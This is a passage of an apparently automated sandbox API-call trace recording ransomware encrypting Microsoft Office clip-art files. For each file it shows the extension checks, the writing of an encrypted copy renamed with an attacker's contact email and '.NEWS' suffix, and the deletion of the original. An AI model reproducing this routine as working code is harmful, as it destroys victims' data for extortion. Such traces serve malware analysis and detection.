Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0262.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0262.449] lstrlenW (lpString=".doc") returned 4 [0262.449] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.449] lstrlenW (lpString=".docx") returned 5 [0262.449] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.449] lstrlenW (lpString=".pdf") returned 4 [0262.449] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.449] lstrlenW (lpString=".xls") returned 4 [0262.449] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.449] lstrlenW (lpString=".xlsx") returned 5 [0262.450] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.450] lstrlenW (lpString=".ppt") returned 4 [0262.450] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0262.450] lstrlenW (lpString=".zip") returned 4 [0262.450] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.450] lstrlenW (lpString=".rar") returned 4 [0262.450] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.450] lstrlenW (lpString=".bz2") returned 4 [0262.450] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.450] lstrlenW (lpString=".7z") returned 3 [0262.451] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0262.451] lstrlenW (lpString=".dbf") returned 4 [0262.451] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0262.451] lstrlenW (lpString=".1cd") returned 4 [0262.451] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0262.451] lstrlenW (lpString=".jpg") returned 4 [0262.451] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.452] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0262.452] lstrlenW (lpString="BL00248_.WMF") returned 12 [0262.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0262.453] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=1536) returned 1 [0262.453] CloseHandle (hObject=0x39c) returned 1 [0262.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf")) returned 0x20 [0262.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0262.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0262.454] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.454] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0262.455] GetLastError () returned 0x0 [0262.455] ReadFile (in: hFile=0x39c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x600, lpOverlapped=0x0) returned 1 [0262.461] WriteFile (in: hFile=0x390, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x610, lpOverlapped=0x0) returned 1 [0262.465] ReadFile (in: hFile=0x39c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.465] WriteFile (in: hFile=0x390, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.466] SetEndOfFile (hFile=0x390) returned 1 [0262.466] CloseHandle (hObject=0x390) returned 1 [0262.466] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.467] SetEndOfFile (hFile=0x39c) returned 1 [0262.474] CloseHandle (hObject=0x39c) returned 1 [0262.474] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0262.475] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf")) returned 1 [0262.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0262.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0262.476] lstrlenW (lpString=".doc") returned 4 [0262.476] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.476] lstrlenW (lpString=".docx") returned 5 [0262.476] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.476] lstrlenW (lpString=".pdf") returned 4 [0262.477] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.477] lstrlenW (lpString=".xls") returned 4 [0262.477] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.477] lstrlenW (lpString=".xlsx") returned 5 [0262.477] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.477] lstrlenW (lpString=".ppt") returned 4 [0262.477] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0262.477] lstrlenW (lpString=".zip") returned 4 [0262.477] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.477] lstrlenW (lpString=".rar") returned 4 [0262.477] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.477] lstrlenW (lpString=".bz2") returned 4 [0262.478] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.478] lstrlenW (lpString=".7z") returned 3 [0262.478] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0262.478] lstrlenW (lpString=".dbf") returned 4 [0262.478] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0262.932] lstrlenW (lpString=".1cd") returned 4 [0262.932] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0262.932] lstrlenW (lpString=".jpg") returned 4 [0262.932] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0262.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0262.932] lstrlenW (lpString=".doc") returned 4 [0262.932] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.933] lstrlenW (lpString=".docx") returned 5 [0262.933] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.933] lstrlenW (lpString=".pdf") returned 4 [0262.933] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.933] lstrlenW (lpString=".xls") returned 4 [0262.933] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.933] lstrlenW (lpString=".xlsx") returned 5 [0262.933] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.933] lstrlenW (lpString=".ppt") returned 4 [0262.933] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0262.933] lstrlenW (lpString=".zip") returned 4 [0262.934] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.934] lstrlenW (lpString=".rar") returned 4 [0262.934] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.934] lstrlenW (lpString=".bz2") returned 4 [0262.934] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.934] lstrlenW (lpString=".7z") returned 3 [0262.934] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0262.934] lstrlenW (lpString=".dbf") returned 4 [0262.934] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0262.934] lstrlenW (lpString=".1cd") returned 4 [0262.934] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0262.935] lstrlenW (lpString=".jpg") returned 4 [0262.935] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.935] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0262.935] lstrlenW (lpString="BL00252_.WMF") returned 12 [0262.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0264.855] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=4708) returned 1 [0264.855] CloseHandle (hObject=0x370) returned 1 [0264.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf")) returned 0x20 [0265.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0265.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0265.899] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.900] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0265.901] GetLastError () returned 0x0 [0265.901] ReadFile (in: hFile=0x3bc, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x1264, lpOverlapped=0x0) returned 1 [0266.098] WriteFile (in: hFile=0x3b4, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x1270, lpOverlapped=0x0) returned 1 [0266.101] ReadFile (in: hFile=0x3bc, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0266.101] WriteFile (in: hFile=0x3b4, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0266.101] SetEndOfFile (hFile=0x3b4) returned 1 [0266.249] CloseHandle (hObject=0x3b4) returned 1 [0266.250] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.250] SetEndOfFile (hFile=0x3bc) returned 1 [0266.257] CloseHandle (hObject=0x3bc) returned 1 [0266.258] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0266.466] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf")) returned 1 [0266.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0266.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0266.470] lstrlenW (lpString=".doc") returned 4 [0266.470] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0266.470] lstrlenW (lpString=".docx") returned 5 [0266.470] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0266.471] lstrlenW (lpString=".pdf") returned 4 [0266.471] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0266.471] lstrlenW (lpString=".xls") returned 4 [0266.471] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0266.471] lstrlenW (lpString=".xlsx") returned 5 [0266.471] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0266.471] lstrlenW (lpString=".ppt") returned 4 [0266.471] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0266.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0266.471] lstrlenW (lpString=".zip") returned 4 [0266.471] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0266.471] lstrlenW (lpString=".rar") returned 4 [0266.471] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0266.472] lstrlenW (lpString=".bz2") returned 4 [0266.472] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0266.472] lstrlenW (lpString=".7z") returned 3 [0266.472] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0266.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0266.472] lstrlenW (lpString=".dbf") returned 4 [0266.472] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0266.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0266.472] lstrlenW (lpString=".1cd") returned 4 [0266.472] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0266.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0266.472] lstrlenW (lpString=".jpg") returned 4 [0266.473] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0266.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0266.473] lstrlenW (lpString=".doc") returned 4 [0266.473] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0266.473] lstrlenW (lpString=".docx") returned 5 [0266.473] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0266.473] lstrlenW (lpString=".pdf") returned 4 [0266.473] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0266.474] lstrlenW (lpString=".xls") returned 4 [0266.474] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0266.474] lstrlenW (lpString=".xlsx") returned 5 [0266.474] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0266.474] lstrlenW (lpString=".ppt") returned 4 [0266.474] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0266.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0266.474] lstrlenW (lpString=".zip") returned 4 [0266.474] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0266.474] lstrlenW (lpString=".rar") returned 4 [0266.474] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0266.474] lstrlenW (lpString=".bz2") returned 4 [0266.475] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0266.475] lstrlenW (lpString=".7z") returned 3 [0266.475] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0266.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0266.475] lstrlenW (lpString=".dbf") returned 4 [0266.475] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0266.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0266.475] lstrlenW (lpString=".1cd") returned 4 [0266.475] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0266.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0266.475] lstrlenW (lpString=".jpg") returned 4 [0266.476] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.476] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0266.476] lstrlenW (lpString="BL00269_.WMF") returned 12 [0266.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0266.477] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=5272) returned 1 [0266.477] CloseHandle (hObject=0x39c) returned 1 [0266.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf")) returned 0x20 [0266.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0266.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0266.478] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.479] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0266.479] GetLastError () returned 0x0 [0266.480] ReadFile (in: hFile=0x39c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x1498, lpOverlapped=0x0) returned 1 [0266.835] WriteFile (in: hFile=0x390, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x14a0, lpOverlapped=0x0) returned 1 [0267.273] ReadFile (in: hFile=0x39c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0267.274] WriteFile (in: hFile=0x390, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0267.274] SetEndOfFile (hFile=0x390) returned 1 [0267.274] CloseHandle (hObject=0x390) returned 1 [0267.275] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0267.275] SetEndOfFile (hFile=0x39c) returned 1 [0269.458] CloseHandle (hObject=0x39c) returned 1 [0269.459] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0269.461] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf")) returned 1 [0269.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0269.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0269.462] lstrlenW (lpString=".doc") returned 4 [0269.462] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.462] lstrlenW (lpString=".docx") returned 5 [0269.462] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.462] lstrlenW (lpString=".pdf") returned 4 [0269.462] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.463] lstrlenW (lpString=".xls") returned 4 [0269.463] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.463] lstrlenW (lpString=".xlsx") returned 5 [0269.463] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.463] lstrlenW (lpString=".ppt") returned 4 [0269.463] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0269.463] lstrlenW (lpString=".zip") returned 4 [0269.463] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.463] lstrlenW (lpString=".rar") returned 4 [0269.463] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.463] lstrlenW (lpString=".bz2") returned 4 [0269.463] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.463] lstrlenW (lpString=".7z") returned 3 [0269.463] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0269.464] lstrlenW (lpString=".dbf") returned 4 [0269.464] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0269.464] lstrlenW (lpString=".1cd") returned 4 [0269.464] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0269.464] lstrlenW (lpString=".jpg") returned 4 [0269.464] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0269.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0269.465] lstrlenW (lpString=".doc") returned 4 [0269.465] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.465] lstrlenW (lpString=".docx") returned 5 [0269.465] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.465] lstrlenW (lpString=".pdf") returned 4 [0269.465] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.465] lstrlenW (lpString=".xls") returned 4 [0269.465] lstrcmpiW 